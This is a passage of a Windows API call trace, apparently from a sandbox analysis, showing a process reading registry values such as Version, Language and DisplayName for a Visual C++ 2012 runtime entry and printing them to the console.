HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.520] GetProcessHeap () returned 0x3c0000 [0150.520] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.520] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xb00ee66, pcbData=0x29f780*=0x4) returned 0x0 [0150.520] __iob_func () returned 0x7fefd702a80 [0150.520] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.520] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.520] _fileno (_File=0x7fefd702ab0) returned 1 [0150.520] _errno () returned 0x204bb0 [0150.520] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.520] _errno () returned 0x204bb0 [0150.520] GetFileType (hFile=0x50) returned 0x1 [0150.520] lstrlenW (lpString=" ") returned 4 [0150.520] GetConsoleOutputCP () returned 0x1b5 [0150.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.521] GetConsoleOutputCP () returned 0x1b5 [0150.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.521] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.521] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.521] lstrlenW (lpString="Version") returned 7 [0150.521] __iob_func () returned 0x7fefd702a80 [0150.521] _fileno (_File=0x7fefd702ab0) returned 1 [0150.521] _errno () returned 0x204bb0 [0150.521] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.521] _errno () returned 0x204bb0 [0150.521] GetFileType (hFile=0x50) returned 0x1 [0150.521] lstrlenW (lpString="Version") returned 7 [0150.521] GetConsoleOutputCP () returned 0x1b5 [0150.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.521] GetConsoleOutputCP () returned 0x1b5 [0150.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0150.521] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.521] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.521] __iob_func () returned 0x7fefd702a80 [0150.522] _fileno (_File=0x7fefd702ab0) returned 1 [0150.522] _errno () returned 0x204bb0 [0150.522] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.522] _errno () returned 0x204bb0 [0150.522] GetFileType (hFile=0x50) returned 0x1 [0150.522] lstrlenW (lpString=" ") returned 4 [0150.522] GetConsoleOutputCP () returned 0x1b5 [0150.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.522] GetConsoleOutputCP () returned 0x1b5 [0150.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.522] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.522] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.522] __iob_func () returned 0x7fefd702a80 [0150.522] _fileno (_File=0x7fefd702ab0) returned 1 [0150.522] _errno () returned 0x204bb0 [0150.522] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.522] _errno () returned 0x204bb0 [0150.522] GetFileType (hFile=0x50) returned 0x1 [0150.522] lstrlenW (lpString="REG_DWORD") returned 9 [0150.522] GetConsoleOutputCP () returned 0x1b5 [0150.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.522] GetConsoleOutputCP () returned 0x1b5 [0150.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.523] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.523] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.523] __iob_func () returned 0x7fefd702a80 [0150.523] _fileno (_File=0x7fefd702ab0) returned 1 [0150.523] _errno () returned 0x204bb0 [0150.523] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.523] _errno () returned 0x204bb0 [0150.523] GetFileType (hFile=0x50) returned 0x1 [0150.523] lstrlenW (lpString=" ") returned 4 [0150.523] GetConsoleOutputCP () returned 0x1b5 [0150.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.523] GetConsoleOutputCP () returned 0x1b5 [0150.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.523] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.523] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.523] __iob_func () returned 0x7fefd702a80 [0150.523] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.523] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xb00ee66") returned 9 [0150.523] _fileno (_File=0x7fefd702ab0) returned 1 [0150.523] _errno () returned 0x204bb0 [0150.523] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.523] _errno () returned 0x204bb0 [0150.523] GetFileType (hFile=0x50) returned 0x1 [0150.523] lstrlenW (lpString="0xb00ee66") returned 9 [0150.523] GetConsoleOutputCP () returned 0x1b5 [0150.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb00ee66", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.524] GetConsoleOutputCP () returned 0x1b5 [0150.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb00ee66", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xb00ee66", lpUsedDefaultChar=0x0) returned 9 [0150.524] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.524] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.524] __iob_func () returned 0x7fefd702a80 [0150.524] _fileno (_File=0x7fefd702ab0) returned 1 [0150.524] _errno () returned 0x204bb0 [0150.524] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.524] _errno () returned 0x204bb0 [0150.524] GetFileType (hFile=0x50) returned 0x1 [0150.524] lstrlenW (lpString="\n") returned 1 [0150.524] GetConsoleOutputCP () returned 0x1b5 [0150.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.524] GetConsoleOutputCP () returned 0x1b5 [0150.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.524] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.524] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.524] GetProcessHeap () returned 0x3c0000 [0150.524] GetProcessHeap () returned 0x3c0000 [0150.525] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.525] GetProcessHeap () returned 0x3c0000 [0150.525] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.525] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.525] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.525] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.525] GetProcessHeap () returned 0x3c0000 [0150.525] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.525] GetProcessHeap () returned 0x3c0000 [0150.525] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.525] GetProcessHeap () returned 0x3c0000 [0150.525] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.525] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x409, pcbData=0x29f780*=0x4) returned 0x0 [0150.525] __iob_func () returned 0x7fefd702a80 [0150.525] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.525] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.525] _fileno (_File=0x7fefd702ab0) returned 1 [0150.525] _errno () returned 0x204bb0 [0150.525] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.525] _errno () returned 0x204bb0 [0150.525] GetFileType (hFile=0x50) returned 0x1 [0150.525] lstrlenW (lpString=" ") returned 4 [0150.525] GetConsoleOutputCP () returned 0x1b5 [0150.525] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.526] GetConsoleOutputCP () returned 0x1b5 [0150.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.526] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.526] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.526] lstrlenW (lpString="Language") returned 8 [0150.526] __iob_func () returned 0x7fefd702a80 [0150.526] _fileno (_File=0x7fefd702ab0) returned 1 [0150.526] _errno () returned 0x204bb0 [0150.526] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.526] _errno () returned 0x204bb0 [0150.526] GetFileType (hFile=0x50) returned 0x1 [0150.526] lstrlenW (lpString="Language") returned 8 [0150.526] GetConsoleOutputCP () returned 0x1b5 [0150.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.526] GetConsoleOutputCP () returned 0x1b5 [0150.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0150.526] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.526] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.526] __iob_func () returned 0x7fefd702a80 [0150.526] _fileno (_File=0x7fefd702ab0) returned 1 [0150.526] _errno () returned 0x204bb0 [0150.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.527] _errno () returned 0x204bb0 [0150.527] GetFileType (hFile=0x50) returned 0x1 [0150.527] lstrlenW (lpString=" ") returned 4 [0150.527] GetConsoleOutputCP () returned 0x1b5 [0150.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.527] GetConsoleOutputCP () returned 0x1b5 [0150.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.527] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.527] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.527] __iob_func () returned 0x7fefd702a80 [0150.527] _fileno (_File=0x7fefd702ab0) returned 1 [0150.527] _errno () returned 0x204bb0 [0150.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.527] _errno () returned 0x204bb0 [0150.527] GetFileType (hFile=0x50) returned 0x1 [0150.527] lstrlenW (lpString="REG_DWORD") returned 9 [0150.527] GetConsoleOutputCP () returned 0x1b5 [0150.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.527] GetConsoleOutputCP () returned 0x1b5 [0150.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.527] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.528] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.528] __iob_func () returned 0x7fefd702a80 [0150.528] _fileno (_File=0x7fefd702ab0) returned 1 [0150.528] _errno () returned 0x204bb0 [0150.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.528] _errno () returned 0x204bb0 [0150.528] GetFileType (hFile=0x50) returned 0x1 [0150.528] lstrlenW (lpString=" ") returned 4 [0150.528] GetConsoleOutputCP () returned 0x1b5 [0150.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.528] GetConsoleOutputCP () returned 0x1b5 [0150.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.528] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.528] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.528] __iob_func () returned 0x7fefd702a80 [0150.528] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.528] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x409") returned 5 [0150.528] _fileno (_File=0x7fefd702ab0) returned 1 [0150.528] _errno () returned 0x204bb0 [0150.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.528] _errno () returned 0x204bb0 [0150.528] GetFileType (hFile=0x50) returned 0x1 [0150.528] lstrlenW (lpString="0x409") returned 5 [0150.528] GetConsoleOutputCP () returned 0x1b5 [0150.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0150.529] GetConsoleOutputCP () returned 0x1b5 [0150.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0150.529] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0150.529] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.529] __iob_func () returned 0x7fefd702a80 [0150.529] _fileno (_File=0x7fefd702ab0) returned 1 [0150.529] _errno () returned 0x204bb0 [0150.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.529] _errno () returned 0x204bb0 [0150.529] GetFileType (hFile=0x50) returned 0x1 [0150.529] lstrlenW (lpString="\n") returned 1 [0150.529] GetConsoleOutputCP () returned 0x1b5 [0150.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.529] GetConsoleOutputCP () returned 0x1b5 [0150.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.529] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.529] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.529] GetProcessHeap () returned 0x3c0000 [0150.529] GetProcessHeap () returned 0x3c0000 [0150.530] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.530] GetProcessHeap () returned 0x3c0000 [0150.530] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.530] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.530] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.530] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7e) returned 0x0 [0150.530] GetProcessHeap () returned 0x3c0000 [0150.530] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x80) returned 0x3db830 [0150.530] GetProcessHeap () returned 0x3c0000 [0150.530] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.530] GetProcessHeap () returned 0x3c0000 [0150.530] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0150.530] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", pcbData=0x29f780*=0x7c) returned 0x0 [0150.530] __iob_func () returned 0x7fefd702a80 [0150.530] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.530] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.530] _fileno (_File=0x7fefd702ab0) returned 1 [0150.530] _errno () returned 0x204bb0 [0150.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.530] _errno () returned 0x204bb0 [0150.530] GetFileType (hFile=0x50) returned 0x1 [0150.530] lstrlenW (lpString=" ") returned 4 [0150.530] GetConsoleOutputCP () returned 0x1b5 [0150.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.530] GetConsoleOutputCP () returned 0x1b5 [0150.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.530] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.530] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.531] lstrlenW (lpString="DisplayName") returned 11 [0150.531] __iob_func () returned 0x7fefd702a80 [0150.531] _fileno (_File=0x7fefd702ab0) returned 1 [0150.531] _errno () returned 0x204bb0 [0150.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.531] _errno () returned 0x204bb0 [0150.531] GetFileType (hFile=0x50) returned 0x1 [0150.531] lstrlenW (lpString="DisplayName") returned 11 [0150.531] GetConsoleOutputCP () returned 0x1b5 [0150.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.531] GetConsoleOutputCP () returned 0x1b5 [0150.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0150.531] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.531] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.531] __iob_func () returned 0x7fefd702a80 [0150.531] _fileno (_File=0x7fefd702ab0) returned 1 [0150.531] _errno () returned 0x204bb0 [0150.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.531] _errno () returned 0x204bb0 [0150.531] GetFileType (hFile=0x50) returned 0x1 [0150.531] lstrlenW (lpString=" ") returned 4 [0150.531] GetConsoleOutputCP () returned 0x1b5 [0150.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.532] GetConsoleOutputCP () returned 0x1b5 [0150.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.532] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.532] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.532] __iob_func () returned 0x7fefd702a80 [0150.532] _fileno (_File=0x7fefd702ab0) returned 1 [0150.532] _errno () returned 0x204bb0 [0150.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.532] _errno () returned 0x204bb0 [0150.532] GetFileType (hFile=0x50) returned 0x1 [0150.532] lstrlenW (lpString="REG_SZ") returned 6 [0150.532] GetConsoleOutputCP () returned 0x1b5 [0150.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.532] GetConsoleOutputCP () returned 0x1b5 [0150.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.532] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.532] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.533] __iob_func () returned 0x7fefd702a80 [0150.533] _fileno (_File=0x7fefd702ab0) returned 1 [0150.533] _errno () returned 0x204bb0 [0150.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.533] _errno () returned 0x204bb0 [0150.533] GetFileType (hFile=0x50) returned 0x1 [0150.533] lstrlenW (lpString=" ") returned 4 [0150.533] GetConsoleOutputCP () returned 0x1b5 [0150.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.533] GetConsoleOutputCP () returned 0x1b5 [0150.533] WideCharToMultiByte (in: 